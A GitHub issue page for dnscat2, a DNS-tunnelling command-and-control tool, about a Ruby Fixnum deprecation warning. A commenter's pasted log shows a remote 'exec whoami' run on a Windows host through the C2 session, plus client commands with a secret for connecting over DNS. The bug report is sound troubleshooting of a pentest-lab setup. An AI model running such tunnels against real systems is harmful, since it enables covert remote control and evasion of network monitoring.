iagox86 / dnscat2

BSD 3-Clause "New" or "Revised" License
3.43k stars 601 forks source link

dnscat2/server/libs/dnser.rb:379: warning: constant ::Fixnum is deprecated #131

Open iagox86 opened 6 years ago

xiaoxiaoleo commented 6 years ago

Same boat, my error log: ` dnscat2> New window created: 1 Session 1 security: UNENCRYPTED /root/tools/dnscat2/server/libs/dnser.rb:379: warning: constant ::Fixnum is deprecated

dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 security: UNENCRYPTED This is a command session!

That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'.

command (WIN-H3IURQVVSBD) 1> exec whoami command = whoami String Sent request to execute "whoami" command (WIN-H3IURQVVSBD) 1> New window created: 2 Executed "whoami" New window created: 0 New window created: crypto-debug Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false history_size (for new windows) => 1000 Security policy changed: Client can decide on security level New window created: dns1 Starting Dnscat2 DNS server on 192.168.126.149:53 [domains = pentestlab]...

Assuming you have an authoritative DNS server, you can run the client anywhere with the following (--secret is optional):

./dnscat --secret=b33b5a5fcfd4840a53bcec4e2e0c5834 pentestlab

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=b33b5a5fcfd4840a53bcec4e2e0c5834

Of course, you have to figure out yourself! Clients will connect directly on UDP port 53.

New window created: 1 Session 1 security: UNENCRYPTED dnscat2> dnscat2> session -i 1 New window created: 2 Session 2 security: UNENCRYPTED Session 2 killed: Received FIN! Bye! Error caught (for more information, check window 'dns1'):

<NoMethodError: undefined method `shutdown' for #>

`